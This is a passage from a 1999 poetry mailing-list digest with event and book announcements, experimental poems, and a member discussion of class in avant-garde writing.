Sunday was the final performance at SF's Sweatshop improv space, and featured a set by the Larry Ochs / Lisle Ellis / Douglas (?) Robinson trio What We Live and two solo sets by Steve Lacy. Since this post has gone on long enough already, I'll simply say that all three sets were intense and beautiful in very different ways - What We Live episodic and quasi-narrative, Lacy linear and "argumentative" like the best of essay writers. (I know that "linear" is often a derogatory term in these here parts, so let me make it clear that I mean to attach quite the opposite value to it). Poetry folk in attendance included Lyn Hejinian, Bill Berkson, Steve Dickison, Jen Hofer, Renee Gladman, and yours truly - many of us hunkered down in the dilapidated couches scribbling furiously throughout the performances.

OK, so that's it, save the stuff I missed (Thursday and Friday at Other Minds: Alvin Lucier, more Margaret Leng Tan, Sam Rivers (!) and Julian Priester (!); Norman Fischer's Saturday afternoon reading at the Attic Club) and the stuff for which I was present in body but not in mind (i.e., Sikelianos at SPT - my apologies again). Maybe someone else will have some recollection of these?

My best to all you folks in Poetics land,
Taylor Brady, once and future lurker

↑ Index

16. Burt Kimmelman
Lyn Hejinian
Wed 31 Mar 1999

I need to get in touch with Lyn Hejinian via e-mail. Does anyone have an ed-dress for her?

Thanks,

Burt Kimmelman
[redacted]

↑ Index

17. Charles Alexander
Re: class
Wed 31 Mar 1999

> I might argue that class is an ever-shifting thing. I came from an upper-middle-class background. Grew up in Silicon Valley, Dad works at Intel, Mom has acrylic nails and hardwood floors. 4 bedroom, 3 car garage. I'm finding that many people make assumptions about my class based on my parents' class--for instance, when my 11-year-old car broke down again, someone asked my why my Dad didn't buy me a new one. My Dad NEVER bought me a car.

That strikes me as more revealing about the class of the person who asked that question than about you. But that would depend on the tone of the question, too.

I like this thread about class, and what many people have said.

I wonder, though, for those who think class shows through a poet's writing, does it also show through an artist's work, and has this changed over time? For example, can one tell from Van Gogh's sunflowers anything about the class of the artist? Or from Matisse's interiors. Or from a contemporary visual artist's work -- Susan Bee's? or Agnes Denis's? Or is class more specifically inscribed in language arts?

I don't have the answers to these questions -- just wondering what others think about them.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing

books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

18. travis ortiz
Pamela: a novel by Pamela Lu (Atelos Publishing Project)
Thu 1 Apr 1999

Pamela: A Novel
by Pamela Lu

Atelos is pleased to announce the publication of Pamela: A Novel, by Pamela Lu.

About the book: Although widely known as a poet, Pamela Lu's first full-length book is a prose work, situated somewhere between autobiography and novel. Writing in Poetry Flash, Katy Lederer says of it, "Lyrical in both its intent and intensity, Lu's story swiftly takes its reader to the heart of a poetic ambivalence told through the figures of self, love, and art." The result is an extended social portrait recalling Gertrude Stein's studies of language, habit, and character. The central figure of Pamela: A Novel is the brilliantly intelligent narrator P and the "plot" turns around her examination of her own narrative. This narrative, meanwhile, consists of an intricate structure of encounters, relationships, and stories; out of them P is created and in them her avatar, Pamela, is embodied. For Lu, "oppositional structures within terms of identity and location—here/there, us/them, professional/vocational, culture/subculture—...open the space of the social and philosophical world" (Lytle Shaw, Poetics Journal 10). As P presses on into this world, her insights—her philosophizings amidst the real—are subtle and often perfectly comedic.

About the author:
Pamela Lu grew up in Southern California and attended the University of California, Berkeley. She is one of the editors of Idiom and now lives in San Francisco. Pamela: A Novel is her first book.

About the Atelos project: Atelos was founded in 1995 as a project of Hip's Road. It is devoted to publishing, under the sign of poetry, writing which challenges the conventional definitions of poetry, since such definitions have tended to isolate poetry from intellectual life, arrest its development, and curtail its impact. All the works published as part of the Atelos project are commissioned specifically for it, and each is involved in some way with crossing traditional genre boundaries, including, for example, those that would separate theory from practice, poetry from prose, essay from drama, the visual image from the verbal, the literary from the non-literary, and so forth. The Atelos project when complete will consist of 50 volumes; Pamela: A Novel is volume 4. The project directors and editors are Lyn Hejinian and Travis Ortiz; the director for production and design is Travis Ortiz.

Ordering information: Pamela: A Novel may be ordered from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710-1409; phone [redacted] or toll-free [redacted]; e-mail: [redacted] [new e-mail address]

↑ Index

19. travis ortiz
pamela: a novel--book release party--san francisco
Thu 1 Apr 1999

There will be a book release party this Friday in San Francisco to celebrate Pamela Lu's book, Pamela: A Novel (the most recent book in the Atelos series). Everyone is welcome, so please come and show your support for this great new book (and amazing writer):

> 98 Hill Street (between Valencia and Guerrero)
> San Francisco
>
> Friday, 2 April 1999
> 8:00 PM
>
> for info/directions > call [redacted]
> or email [redacted]

Books will be available for sale ($10), and I'll be making martinis...

↑ Index

20. travis ortiz
m. mara-ann & jill stengel reading at the attic (s.f.)
Thu 1 Apr 1999

---

this saturday 4.3.99

m. mara-ann & jill stengel

will be reading at the attic club in san francisco on 24th at mission.

the reading starts at 5 pm
(& it's happy hour from 5 to 7pm)

↑ Index

21. travmar03

Fw: a Talk by poet Stephen Rodefer

Thu 1 Apr 1999

Dear Poets! Join us Saturday for a talk by poet Stephen Rodefer at Writers House, followed by a reading at the Highwire Gallery with Rodefer and Shawn Walker.

---

saturday
april 3
at 5:00 PM
at the Kelly Writers House, 3805 Locust Walk
the Transparency Machine series at the Kelly Writers House
and Highwire Gallery present

+ + + + + + + + + + + + + + + +
S T E P H E N R O D E F E R
+ + + + + + + + + + + + + + + +
"The Age in its Cage:
A Social Allegory of Literature and the Deformation of the Canonymous"

Stephen Rodefer is the author of several collections of poetry, including _Left Under a Cloud_ (1999), _Answer to Doctor Agathon_ (1995), _Erasers_ (1994), _Leaving_ (1992), _Emergency Measures_ (1987), and _Four Lectures_ (1977). Rodefer recently returned to the United States following three years teaching in Paris and two at Cambridge. He lives and works in Williamsburg, Brooklyn. He has been associated with the Language School Poets and was a student of Charles Olson. He has also taught at San Francisco State University, University of New Mexico-Albuquerque, and others.

The Transparency Machine Series gives writers the chance to situate their work in the context of wider cultural practices -- reading, writing, the visual arts, theory, politics, and mass media.

Followed by an 8:00 pm reading by Stephen Rodefer and Shawn Walker at the Highwire Gallery, 139 N. 2nd Street, between Race and Arch.

from Rodefer's "Subtraction" in _Passing Duration_:

The distance is impossible for each to span. We separate ourselves with a manner of rest, gestures, syllables. Rapid hockets return what left us edgy. The aspect speaks marks, gains favor, slams margins, at last is only money. Space is saved. Agreement names the song the sixth intelligence and we pass along. Solid main we fasten, and only green are wise, only grave are mild. The enamel of our lips is highly lit, so luminous we become as seen.

> I saw the election with my companions and raised my eyelids higher, sitting in the philosophy of a family. There was a good collection of qualities, but there was not a moral nor geometries, though endless avid rows made the record of their comment. The graveyard lapped the swing where love and work were one. Dido lost her liveliness in the theme that chases this. The word again did fail its argument. The group diminishes to three. And in the other shift the loop that led us there, from pant to hat, from triangle to hair, was cut and reassessed to be a brow beak. Then nothing alone which was not light; nothing does which is not done.
>
> Still they beckon the descent. The diminished human world proposes shortening. But it cannot. The ground survives forewarned.
>
> --All the Best

Kelly Writers House
Kyle Connor
Greg Fuchs

↑ Index

22. derek beaulieu / house press

Fw: Para>poetics

Thu 1 Apr 1999

Para>poetics reading series
Presents
Canadian Poet Kaushalya Bannerji

7PM Thursday, April 8, 1999 at Truck (An Artist-Run Centre)

BSMT 815 1 St. SW (The Grain Exchange Building)

Calgary, Alberta, Canada

Kaushalya Bannerji is a Toronto poet whose words resonate with the force of the political, the conscious, the consciences, the startling, and the brilliant. She has published two books of poetry: A New Remembrance and The Faces of Five O¹clock. Her work has also appeared in a variety of anthologies, including the publications: Pearls of Passion: A Treasure of Lesbian Erotica (Sister Vision Press), Outrage: Dikes and Bi¹s Resist Homophobia (Woman¹s Press), A Lotus of Another Colour: the Unfolding of South Asian Gay and Lesbian Experience (Alyson, USA), and By For and About: Women Writing Culture. She has a passion for the beautiful poem; her words take the reader on journeys that include Amsterdam, Lima, and the other side of town.

This reading is free and open to the public.

We acknowledge the support of the Canada Council for the arts.

Thanks to TRUCK for generously providing their space.

↑ Index

23. Linda Russo

Re: Barnard Conference...

Thu 1 Apr 1999

---

hi Maria & Chris --

I had the same reaction as Chris, and a similar pang of be-little peoplement -- it wasn't at all clear that what I was getting myself into in agreeing to give a paper was also a bill. Is the practice so common that it goes without saying, either on the form, or on the part of the organizers? Too add insult to naivete (or whatever it is that lead me to think presenting was 'enough'), those who lately got a whiff of the coffee have to pay a 'late fee' totalling $50 for the 2 days (whereas w/student id my fee would have been less than half that) -- granted this IS NOT the MLA, but a small conference with a mixture of profs, grad students, and poets & critics otherwise affilitated, would you say this is the going fare?

At this point though I'm wondering how much I'll even grumble under my breath when I hand over the plastic (I hope they take plastic!) -- because it looks to be an interesting weekend. Your panel by the way chris is on my too see list.

BUT if you chris see a way out of this (other than except maybe assuming a posture of personal insult when asked to pay at the registration table), you know that here's another who was duped.

-----Original Message-----
From: Maria Damon (Maria Damon) <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, March 30, 1999 8:15 AM Subject: Re: Barnard Conference...

> chris this is pretty common, as at MLA, ASA, etc. you have to register, > which costs bucks, sometimes big bucks, and then pay your own expenses when > yr there... unless you've got a generous dept. or special travel funds...
> sucky but true...

↑ Index

24. juliana spahr

class

Thu 1 Apr 1999

Just went to a talk the other day on Carolyn Chute and class. And then all the talk post-pagemothers on class. It is worrying me. The reason we as a society have trouble talking about class is that it is endlessly complicated. It is hard to quantify, much less smell or generalize about preferences of roughness or smoothness. Once we start to act like it is something that can be called out in the language of clear category (that academic means middle or whatever), we do class the disservice of assuming it is an easy marker. Even though our society, falsely, treats race or gender as something absolute, it has never treated class that way. Yet that class is the language that white people at times use to assert their marginalization makes me nervous about it all the time.

Yet I also think it is crucial to talk about all the time (who knows it might lead to the class revolution). So I am grateful for the discussion.

I guess my question is how do we talk about class while paying attention to how many people pass in both directions all the time? How do we talk about class and make room for the way some people move up and down it all the time? Is class growing up background? Or is it net income at current year? And what are the income levels? Or is it purely cultural? Is there a lower class culture of dirty shirts and beer drinking that the Chute talk seemed to suggest? An upper class culture that owns artyness? How does rural and urban play into this? What about marriage and wives with no income? Does education disqualify one from being lower class? Does one's academic job disqualify one from being lower class anymore? What if you are an adjunct? Does one's Yale undergrad degree on scholarship disqualify? Or if one grows up upper class yet goes to the local community college, does that change?

Like those students who can't understand My Life, I really can't imagine that their background income is that different from Hejinian's--her father was an academic administrator (a decent but not the best paying job), her mother a housewife. The New College, where she worked until recently, is known for its substandard salaries. She doesn't have an advanced degree. What is making her the symbol for middle (?) classness to these students? Is it because she doesn't in My Life put her self forward as a marginalized subject?

I mean these questions not as critique but just as questions. I am glad this discussion has been happening.

↑ Index

25. Camille Martin flying burrito series
Thu 1 Apr 1999

N E W O R L E A N S R E A D I N G S E R I E S

El Poeta Presents

The Poet as Shaman

a weekly series at The Flying Burrito
Tuesdays 8 p.m.

2018 Magazine Street

Program Director: Dave Brinks

F E A T U R E D P O E T S :

March 23 Amy Ouzoonian / Gathering of Tribes

March 30 Beverly Rainbolt / Chris Champagne

April 6 Valentine Pierce / John Sinclair

April 13 Jose Torres Tama / Kalamu Ya Salaam

April 20 Andrei Codrescu / Dave Brinks

April 27 Kay Murphy / Ralph Adamo

May 4 Rodger Kamenetz / Dennis Formento

May 11 James Nolan / Yictove

May 18 Heather Black / BJ Raineri, Jr.

May 25 Lee Grue / Arthur Pfister

June 1 Nancy Harris / Ahmos Zu-Bolton

June 8 Gina Ferrara / Jonathan Kline

June 15 Beth McCormack / Reverend Goat

June 22 Andy Young / John Cooper

M O R E T O C O M E

www.mojono.com/el_poeta

↑ Index

26. A. Jenn Sondheim
Confessive-Repulsive Disorder (fwd)
Thu 1 Apr 1999

\

Confessive-Repulsive Disorder

Says Jennifer, which is exactly what I have - she should know, I'm wearing her dirty panties... Ah well... These are notes from _all over._ Jennifer can't stand the fact I'm writing all the time. I find it yummy. But it's a disorder, disorderly - my life's a mess. I'm a piece of shit.

In those painting crits, I tell her, I'm always reminded of other people's work - _this_ painting surrounded by flows and images which inundate it - just like this editor, interrupted by incoming. I'm made entirely out of such information - call it _composition,_ call it fresh-woman composition. Call it fresh-man.

The sea of images and the sea of imaginaries. But this is crazy. Guilt at being part of the war-machine, hopeless and decomposed - nothing stops it but arbitrary actions by arbitrary old white men. Their white is the color of death. Their cocks are violent and filled with poison. They shit on themselves because they can't help it so they clean the rest of the world. The mouths of the rest of the world are filled with missiles. They starve to death with metal shit. Don't forget how a bomb works: it expands.

They have no imaginary. They have to make everything real. They have to make everything hard. They are hard workers. They fuck metal with metal.

I will push the dirty panties up into my hole. I will enjoy myself. I will show you everything at a big party. You will see me and touch me and hear me and smell me. I am yours forever.

Every five years in this big world of ours, there is nothing to write any- more. Every thousand, there are no readers.

Alan

↑ Index

27. The William Blake Archive
Blake Archive's April Update
Thu 1 Apr 1999

The William Blake Archive <http://www.iath.virginia.edu/blake/> is pleased to announce the publication of two new electronic editions of Blake's satiric masterpiece, _The Marriage of Heaven and Hell_. They are of copies C and F, both of which are in the Pierpont Morgan Library.

Marriage copy C, printed in 1790 in green ink on both sides of the leaf, was printed and colored in the style of early copies of _Songs of Innocence_. It has not been reproduced in color before. _Marriage_ copy F was beautifully and heavily color printed on one side of the leaf (with copy E) in c. 1794. It was produced in the style used for _Songs of Experience_ of _Songs of Innocence and of Experience_ copy F, color printed in 1794 and recently published in the Archive, as well as for _Visions of the Daughters of Albion_ copy F, also in the Archive.

Marriage is the only illuminated book Blake did not sign and date; he did, however, pen in "1790" over line 1 in plate 3 of copy F, thereby clarifying the plate's allusion to 1757 ("and it is now thirty-three years since its advent"), the year of the Last Judgment, according to Swedenborg, and of Blake's birth.

Copies C and F join _Marriage_ copy D, already in the Archive. Copy D, the Lessing J. Rosenwald copy in the Library of Congress, is also of bibliographical interest, in that it was printed in c. 1795 as part of a set of illuminated books that were printed on folio-size paper. This large-paper set also included _America_ copy A, _All Religions are One_ copy A, _There is No Natural Religion_ copy L, and _The Book of Thel_ copy F, all of which are in the Archive. It also included _Visions of the Daughters of Albion_ copy G, _The First Book of Urizen_ copy B, _Europe_ copy H, and _Songs of Innocence and of Experience_ copy R, all of which will enter the Archive within the next six months.

We now have thirty-one copies of sixteen illuminated books in the Archive. In addition to the books, we recently opened a new wing of the Archive, consisting of an extensive array of supporting materials: an updated and expanded Plan of the Archive, a statement of Editorial Principles and Methodology, a summary of the Archive's technical design and implementation, and a list of Frequently Asked Questions. Our hope is that these extensive documentary materials will prove valuable both to our own growing user community as well as to scholars interested in the theory and practice of electronic editing more generally.

Morris Eaves, Robert N. Essick, Joseph Viscomi, Editors
Matthew Kirschenbaum, Project Manager
The William Blake Archive

↑ Index

28. Charles Bernstein
April is the cruelest month for poetry ....
Thu 1 Apr 1999

--==========_20110542==_.ALT

The University of Chicago Press website is currently featuring a piece of mine called "Against National Poetry Month as Such". It's at http://www.press.uchicago.edu.

Charles Bernstein

--==========_20110542==_.ALT

<html>
The University of Chicago Press website is currently featuring a piece of mine called "Against National Poetry Month as Such". It's at http://www.press.uchicago.edu.

Charles Bernstein
</html>

--==========_20110542==_.ALT--

↑ Index

29. Poetry Project
next week
Thu 1 Apr 1999

Here we are a day early, as the office is closed tomorrow...

NEXT WEEK:

Monday, April 5th
Open Reading
Sign-up at 7:30, reading at 8

Wednesday, April 7th
!!!ANNE WALDMAN & VICTOR HERNANDEZ CRUZ!!!

Friday, April 9th
As part of the People's Poetry Gathering
at 9:30 pm
The Shadow Writing Project

at 10:30 pm
Robert Bly & Robert Pinsky
(co-sponsored by City Lore & Poets House)

Other events:

Brenda Coultas, Marcella Durand, Kim Lyons, Prageeta Sharma, and Eleni Sikelianos will talk about Women Writers at the Poetry Project at the Barnard Conference, ("Where Lyric Tradition Meets Language Poetry: Innovation in Contemporary American Poetry by Women") on Friday April 9th at the bright 'n' early hour of 9 am.

Our various subtopics include: "Baby Poems: Notley, Mayer, Waldman, and more"; "Women Publishing/Publishing Women at the Poetry Project"; "Notions of Ethnicity: Creating a Poetic Community"; "A Retrospective of Experimental Women's Writing at the Project"; "Memory & Ascent: Mayer, Notley & Waldman."

For more information & a full schedule of events, call Tiffany Dugan at [redacted].

P.S. Regarding our website, which is temporarily on the blitz (for us--it's still accessible for you), the updated April calendar will be up NEXT WEEK. Also, next week, more additions to the Tiny Press Center!

↑ Index

30. Kevin L. Magee

Re: SEWN

Thu 1 Apr 1999

NUAGES ROSES

<<au-dessus de la rage des canons longs>> Senghor/Niedecker

c'était le cri
douze mille mots le même mon amie, comment
entendrai-je ta voix livrée aux courants électriques les morts et les terres hautes des morts dans ma case vide de sens dix ans dans la grimace des heures dans l'impatience des heures dans le délire

des heures il y a des heures pour souffrir dans l'étreinte du combat tous les heures d'illusions et les débris d'idées tu m'as dit d'arbres après la canonnade les édifices elles m'ont parlé de l'Absente d'où naître l'équilibre, ton visage que je recomposais le sel était de sang par quels chemins de sel de souffrance acceptée le baiser qui franchit les frontières quand passe l'aile d'acier sur notre empire en nous comme une citadelle une promesse un royaume entrevu auprès de toi j'ai retrouvé troi cents kilomètres les escadres aériennes cet ordre de bataille cette ligne d'acier et de feu où tonnent de grandes déchirures de métal sous les bombes sur la seconde de l'éclair à la sueur lourde dans tes bras tes seins et tes pouvoirs les légendes d'or des nuits nuptiales et foudroyant les capitales le long des chemins de guerre dans le regard des fièvres des cadences écoute camarades des siècles d'incendie écoute quand glissent glacées d'azur les ailes leurs voiles déployées et les mythes autour de moi mutilées au choc des mitrailleuses la vérité la beauté c'est l'ouvrier brisant le calme meurtrier de leurs salons donne-moi tes maines calleuses et lourdes toi qui luttes pour le repos de l'autre dans l'Avril d'un autre ce chant constellé de l'éclatement du combat chant immense au milieu de mille ruts couché dans l'ivresse de la moisson mûre vois le sang de mes mains dites-moi si ton sang ne s'est-il mêlé comme le lait et le pain bis du paysan dans ses mains si calleuses chaque goutte répandue est une pointe de feu: ils m'ont dit, danse pour nous j'ai dansé pour eux et ils ont ri j'ai travaillé pour eux et ils ont ri, ils m'ont dit va mourir pour nous mais j'ai donné la main aux parias de l'ordure à fleur de l'âme je serai la mouette la morte par danser toujours à rebours la chanson le vin bu me ramenait à cette autre certitude elle proclame l'attente amoureuse elle proclame l'émoi qui fait tremble le corps elle proclame ton baiser plus fort que la mort par les routes captives le long routes du désastre, balles des chiens dans les halliers noirs fils du lion qui rugit dans le dos creux est-ce sa faute si Dieu lui a demandé de tes cris sa voix bleue dans l'air lavé de haine dans la fièvre de ce printemps ils ouvrent leurs ailes et chantent des Te Deum en latin pies-corbeaux a ceux qui s'engraissent de meurtres et mesurent en cadavres les étapes de leur règne se rejoignent dans la ligne droite du combat, luttes homériques sur le roc la Cité de demain le don de la promise que se lève la nuit du sexe se désintègre la syntaxe chante le diamant qui naît des cendres nous sommes là ensemble comme avant mon pays de sel et ton pays de neige chante à l'unisson et ce fut honneur à mon nom ouvrez ma chair, ma chevelure mon sperme réel pour t'aimer à jamais mon corps s'abandonne à toi rends-moi insensé par d'innombrables moi cuivre et zinc à mon flanc ici leurs clameurs malheur ton sexe sont devenus les armes du réel NUAGES ROSES SUR LES ÉPAULES DES HIBISCUS écoute-la sous le délire de ton sexe qui coupe le souffle à mes narines j'ai besoin je le sais de ton savoir nous serons encore là toi et moi comme avant qui donnent de l'allure l'amour dans ces cuisses dévoilées au solstice de Juin, comme dans l'an de la défaite et dans l'an de l'espoir au destin je veux être un théâtre dans la parole de l'Absente qui règne

charles dumont

↑ Index

31. Bobbie West
Re: Class, Working Pages, and the Mothers Conference
Thu 1 Apr 1999

Maria Damon wrote:

>>can you mention anyone other than dorothy allison who seems to you to correspond to the class differences you indicate? what about kathy acker? i'd peg her as "nice middle class jewish girl" and she does indeed allude to lots of high-falutin writers in her work, but it's not exactly smooth<<

The mention of Dorothy Allison was in the context of defining class, referring to her essays on the subject, rather than the grittiness of her fiction. I was thinking more of the general lack of grit in poetry magazines on the Lang end of the spectrum rather than of individuals (not a blanket criticism; I love a lot of what's called language poetry). And since I haven't done a study of individual writers' class backgrounds, my conclusions are mostly of the gut-reaction sort. It would be really interesting to me if someone did a study to see if my theory holds true. So in that vein, here are a few more unsubstantiated ideas for some academically inclined person to investigate:

I have the strong impression that among those of us in the nth generation of "innovative" poetry, people who identify more with the working class or poor tend to lean a little more toward the New York (Berrigan) school and those from the middle class are more likely to lean toward Langpo.

More: that "rough" writing seems more acceptable as avant garde fiction than as avant garde poetry and that people from the middle class who like gritty writing are rebelling specifically against those middle-class norms that I mentioned (i.e., smoothing over the rough, hushing the noise, taming the emotions.) Which is why I think Bukowski is so popular. His writing is a direct repudiation of the myth of "the American dream": Life is tough, awkward, painful, dirty, and often beyond our control. Even Bukowski's obnoxious sexism is, in part, his challenge to the 50's view of the dainty little (middle class, white) woman "on a pedestal." As an added bonus for many from the lower classes, his characters are familiar. You say to yourself, "Yeah, I _know_ that person. That could be ol' Dave." You know the nuances of their home life, how their kitchens smell, their social behavior, their accents. And this is important when you're constantly being discounted or erased by mainstream society and its literature.

Geez, how did I get onto Bukowski? Anyhow, I hope this gives y'all somethin' to chew on.

Bobbie

↑ Index

32. louis stroffolino
CAT REQUEST!!!!!!!
Thu 1 Apr 1999

Dear Poetics people, especially those in the New York area. The poet Ange Mlinko, whose Matinees is wowing them lyric-mongers here in new york, is leaving for morocco, and needs a good home for her two beautiful fun (and complementary) cats---- I had hoped to be able to take them myselves, but no longer can. If anybody can do so (ASAP!!!!!), you will save them from the hell of a shelter..... please backchannel me, thanks, chris stroffolino

↑ Index

33. Poetics List Administration
LAGNIAPPE
Thu 1 Apr 1999

Ben Friedlander asked that this announcement be forwarded to the list. Chris

---------- Forwarded message ----------

Announcing issue #2 of Lagniappe: Poetry and Poetics in Review (just in time for daylight savings):

AUTHORS REVIEWED INCLUDE (BUT ARE NOT LIMITED TO)
Selby, Ellingham/Killian, Creeley, Stroffolino, Ashbery, Snyder, AND Dosse
BY Joel, Alicia, Steve, Graham, Jonathan, Wyman AND Winnie.

PLUS ESSAYS BY Alan Gilbert AND Edgar Allen Poe

http://writing.upenn.edu/~foust/lagniappe.html

↑ Index

34. Jessica Pompeii
3 faces
Thu 1 Apr 1999

All this Kosovo stuff saddens me. The class stuff too. People with all the answers, who want to become famous. I am disappointed that my posts don't get posted the rare times I attempt. 1 out 3 is subtracted. I tried to say that I am a vegetarian and don't know the first thing about pacifism. And how do you?

This list feels very over fished to me. Maybe it's me but, "the writing community" does not feel even room temperature. I am not interested in battle of the bands style poetry readings.

I work for a boss at nonprofit literary arts center that hates me, the harder I work. He screams at me. If I were a secretary in real job maybe I could sue him. I think how we treat each other is more important than being a star. Except for a small handful of people, this air conditioned boat leaves me cold and adrift in academic name dropping. And I am not jealous, just wishing for more heat. Respect for other peoples opinions does not mean necessarily agreeing. So here I am listening and attempting to participate.

-Jessica

↑ Index

35. Daniel Kane
Wang Ping plus an O'Hara question
Thu 1 Apr 1999

There's an interview up with poet Wang Ping that may be of interest to people on this list. You'll find it on the WriteNet site at http://www.writenet.org/poetschat/poetschat_wping.html

In the interview, Wang Ping talks about her poem "Syntax." She also discusses how speakers of English as a Second Language can write good poems in English without worrying too much about grammar and syntax. As usual, Teachers & Writers Collaborative encourages you to bring her poem into your classroom and share it with your students. National Poetry Month or not National Poetry Month.

By the way, I am trying to trace the origin of a story re: Frank O'Hara where O'Hara, responding to the question "What do you think of Dylan Thomas," responded "I can't stand all that Welsh spit." Does anyone know if this story is true, and if it is documented anywhere?

↑ Index

36. Karen McKevitt
Re: class
Thu 1 Apr 1999

Juliana Spahr wrote:

>I guess my question is how do we talk about class while paying attention >to how many people pass in both directions all the time? How do we talk >about class and make room for the way some people move up and down it >all the time? Is class growing up background? Or is it net income at >current year? And what are the income levels? Or is it purely cultural?
>Is there a lower class culture of dirty shirts and beer drinking that >the Chute talk seemed to suggest? An upper class culture that owns >artyness? How does rural and urban play into this? What about marriage >and wives with no income? Does education disqualify one from being lower >class? Does one's academic job disqualify one from being lower class >anymore? What if you are an adjunct? Does one's Yale undergrad degree on >scholarship disqualify? Or if one grows up upper class yet goes to the >local community college, does that change?

Yes yes yes! These questions are very good. Very smart. I have only started thinking about class myself--I have been somewhat sheltered as a grad student who went from Daddy's support to "Government Loan Support", and am now starting to get a good dose of reality.

I told my friend the other day that I think about class every time I go to the laundromat.

I might argue that class is an ever-shifting thing. I came from an upper-middle-class background. Grew up in Silicon Valley, Dad works at Intel, Mom has acrylic nails and hardwood floors. 4 bedroom, 3 car garage. I'm finding that many people make assumptions about my class based on my parents' class--for instance, when my 11-year-old car broke down again, someone asked my why my Dad didn't buy me a new one. My Dad NEVER bought me a car.

Anyway, I use these as examples and not because I'm whiny and bitter--not the case. I'm still "new" in how I think about it. I wonder, is this because I am of the generation that will not do as "well" as our parents? I wonder if I have "inherited" the class sensibilities of my parents--I certainly have had to undo the materialistic side of it. I might have inherited class, but I certainly haven't inherited any money to back it up.

I am also intrigued by Kathy's "sniffing." It's such a great word--I think it's associations are what makes people find it distasteful. I would love for Kathy to elaborate on that act of sniffing. Though I don't think so, I wonder if sniffing and assumptions are the same. Dare I say, as a straight white person, that some minority/marginalized individuals have placed assumptions on me--they have assumed my politics, have assumed my stance? I'm not denying that I walk around with a certain amount of priviledge.

Well, yes, class is shifting. I wonder if the gripe should be about capitalism and how corporations value (or don't value) employees, individuals, etc. What are we really worth? What is my work worth? My time?

Sorry for getting off those questions--

Karen McKevitt
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

37. David Zauhar
Re: class
Fri 2 Apr 1999

Defining "Class" is one of those places that cultural studies folks can be helpful. Here's one of the ur-cultstuds, E.P. Thompson, in the preface to his monumental _The Making of the English Working Class_: "If we stop history at a given point, then there are no classes but simply a multitude of individuals with a multitude of experiences. But if we watch these men over an adequate period of social change, we observe patterns in their relationships, their ideas, and their insititutions. Class is defined by men as they live their own history, and, in the end, this is its only definition." EPT, _TMEWC_, 1963). And of course, now women are given credit for living their own history too. My guess is that one of the problems with dealing with class in the US is the ahistorical if not amnesiac quality of American culture. There are others, too, obviously. In any case, for what it's worth. . .

David Zauhar
University of Illinois at Chicago

Art isn't made, it's in the world almost
unseen but found existent there. We paint,
we save the sound in music, we write it down.

--William Bronk, 1918-1999

On Thu, 1 Apr 1999, juliana spahr wrote:

> Just went to a talk the other day on Carolyn Chute and class. And then all the talk post-pagemothers on class. It is worrying me. The reason we as a society have trouble talking about class is that it is endlessly complicated. It is hard to quantify, much less smell or generalize about preferences of roughness or smoothness. Once we start to act like it is something that can be called out in the language of clear category (that academic means middle or whatever), we do class the disservice of assuming it is an easy marker. Even though our society, falsely, treats race or gender as something absolute, it has never treated class that way. Yet that class is the language that white people at times use to assert their marginalization makes me nervous about it all the time.
>
> Yet I also think it is crucial to talk about all the time (who knows it might lead to the class revolution). So I am grateful for the discussion.
>
> I guess my question is how do we talk about class while paying attention to how many people pass in both directions all the time? How do we talk about class and make room for the way some people move up and down it all the time? Is class growing up background? Or is it net income at current year? And what are the income levels? Or is it purely cultural? Is there a lower class culture of dirty shirts and beer drinking that the Chute talk seemed to suggest? An upper class culture that owns artyness? How does rural and urban play into this? What about marriage and wives with no income? Does education disqualify one from being lower class? Does one's academic job disqualify one from being lower class anymore? What if you are an adjunct? Does one's Yale undergrad degree on scholarship disqualify? Or if one grows up upper class yet goes to the local community college, does that change?
>
> Like those students who can't understand My Life, I really can't imagine that their background income is that different from Hejinian's--her father was an academic administrator (a decent but not the best paying job), her mother a housewife. The New College, where she worked until recently, is known for its substandard salaries. She doesn't have an advanced degree. What is making her the symbol for middle (?) classness to these students? Is it because she doesn't in My Life put her self forward as a marginalized subject?

> I mean these questions not as critique but just as questions. I am glad this discussion has been happening.

↑ Index

38. miekal and
A VERTICAL REDNESS BETWEEN LOVERHUGGED BODIES
Fri 2 Apr 1999

There are many for you. Can that I ably motivate them in my head. A shrub of many leaves surrounded by the sensate flora. Expelling from eager memory, decline for the real trip, the uplight all to back of the bodies. Your hands on his body.

We have been exchanged. Your hands simply to touch, words that matter having our translation. Care. Brotherfriends facing maximum harried brain.

Can we hear about this a little louder. Proposal dreamt & encouraged. You are the several living support. If we don't want it in our bodies, then we must bend and linger with that taste in mind, depend memories over bodies.

In every redness dust the cloud frantic potion of the scene. After tugging the river nervous system for our road walked directions, in alone the rising lake, & the population bearings of the mercantile city.

We are out rooms.

I enter my mental device.

↑ Index

39. christopher t funkhouser hss fac/staff
Kamau Brathwaite's _conVERSations with Nathaniel Mackey_
Fri 2 Apr 1999

Dear Poetics,

Sending below some info on a project I've been working on since 1994. Glad to finally have it ready for the world. As a way to encourage quick movement of text from one place to another, the publishers are waiving postage fees on orders received before 5/1/99. If you are at all interested in Brathwaite or Mackey, this book is well worth a look!

-Chris Funkhouser

P U B L I C A T I O N A N N O U N C E M E N T

Now available:

ConVERSations with Nathaniel Mackey

by Kamau Brathwaite

Produced by We Press, Xcp: Cross-Cultural Poetics, and the University of Minnesota

"But Nate makes it possible for me to account my death and the death, as I experience it, of my loved - o loved society and culture; and with the discovery of _my_ 'accountability' - that I'm beginning to find word/sound/power for - begins the process of rehabilitation, resurrection, rebirth, 'second birth'
Or whatever else you want to call this 'second' '4th Travell-er' experience that I'm too deeply [makes gesture here instead of word] to find the words grateful for. . .the words for the 'se cond birth' out of the death - which is what Trench Town Rock is. . . about, I suppose. . . I'm lucky to have been able to find the echo, the little space in which the words could be fitted - so it becomes possible to write it in t/reason able 'English' too. . ."

* * * *

